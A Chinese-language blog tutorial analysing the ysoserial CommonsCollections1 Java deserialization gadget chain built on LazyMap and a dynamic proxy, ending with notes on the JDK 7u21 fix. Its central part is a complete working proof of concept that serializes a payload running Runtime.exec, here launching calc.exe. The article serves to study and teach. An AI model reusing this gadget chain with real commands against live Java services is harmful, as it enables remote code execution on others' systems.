ysoserial 调用链分析(二) | LazyMap的CommonsCollections1&Tips
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
LazyMap的CommonsCollections1&Tips
本文承接上文,继续对CC1进行剖析。
上文连接:《ysoserial 调用链分析(一) | CC1硬核逆向分析(模拟发现者视角)》
之前跟大家分享过CommonsCollections1
的逆向分析,但其实这并不是ysoserial
的链,而是ysoserial
的链传到国内后,国内一些大佬找到的另外一条,而真正的ysoserial CC1
链,使用的是LazyMap
而非TransforedMap
。
这两条链区别不大,主要的不同点在于:TransforedMap
是在写入元素时执行transform()
方法,而LazyMap
是在get()
方法中执行factory.transform()
利用链分析
我们知道CC1的入口类是AnnotationInvocationHandler
,而在TransformedMap
那条链中,是通过反序列化调用AnnotationInvocationHandler
的readObject
进而调用setValue()
方法,而在readObject()
方法中,并没有调用LazyMap
需要的get()
方法,所以我们如果要用LazyMap
构造反序列化,需要寻找其他入口点。
如果你通读过AnnotationInvocationHandler
的源码,就应该能发现,在invoke()
方法中,调用了memberValues
的get()
方法。
因此我们只需要调用invoke()
方法就能顺理成章的完成链的构造,如何调用呢?
动态代理!(不熟悉的朋友可以看我之前的文章,写得非常详细)Java代码审计基础 | Java动态代理
巧的是,AnnotationInvocationHandler
正好是一个InvocationHandler
,因此如果我们对该对象进行代理,那么反序列化时执行任意方法,都会执行AnnotationInvocationHandler
的invoke()
方法(这里如果不能理解,去看看之前的动态代理的文章)
使用LazyMap
构造反序列化链
该链的流程大部分与TransformedMap
一致,因此我们只需要用之前的POC进行修改就行
首先将TransformedMap
改为LazyMap
Map lazyMap = LazyMap.decorate(hashmap, chainedTransformer);
然后,我们需要对AnnotationInvocationHandler
的对象进行代理
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihc = c.getDeclaredConstructor(Class.class, Map.class);
aihc.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aihc.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
我们现在获取到了代理对象proxyMap
,但我们还需要再用AnnotationInvocationHandler
对其进行包裹
invocationHandler = (InvocationHandler) aihc.newInstance(Retention.class, proxyMap);
因为我们的入口点是AnnotationInvocationHandler
的readObject
,必须得传入一个AnnotationInvocationHandler
对象,而不是代理对象。(这里如果难以理解,大家可以调试下)
POC(非ysoserial原生链,而是我们根据分析自己写出来的)
package com.ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections_lazyMap {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers_exec);
HashMap hashmap = new HashMap();
hashmap.put("coba1tstrike", "asdf");
Map lazyMap = LazyMap.decorate(hashmap, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihc = c.getDeclaredConstructor(Class.class, Map.class);
aihc.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aihc.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) aihc.newInstance(Retention.class, proxyMap);
// serialize
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(invocationHandler);
oos.flush();
oos.close();
// deserialize
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
一些有意思的点:
hashmap的值
传入LazyMap
的hashmap
的键,不在需要一定得传入”value”了,原因就是因为不用在经过if判断调用setValue()
了,现在只需要调用invoke()
,因此这里可以随意修改。
new ConstantTransformer(1)
细心的朋友应该会发现,在ysoserial的原生链中,在Transformer[]
中,多了一个new ConstantTransformer(1)
,笔者调试后发现区别如下:
没有new ConstantTransformer(1)
有new ConstantTransformer(1)
猜测作者可能是为了隐藏日志信息,毕竟抛出的java.lang.ProcessImpl
是非常敏感的
CC1的修复
jdk 7u21
后,将不再存在CC1的调用链,具体原因如下
改动对比:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d
大家可以明显的看到setValue()
方法被移除了,然后这不是真正的原因,就算有setValue()
也没有办法再反序列化了,因为readObject()
中,不再直接使用Map
,而是创建了一个LinkedHashMap
,将原来的键值对放进去,这样一来就没法执行原来的Map对象了。
因此该修复不仅修复了TransformedMap
链,LazyMap链也不能在高于jdk7u20
的版本下触发了,泪目。
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/5411.html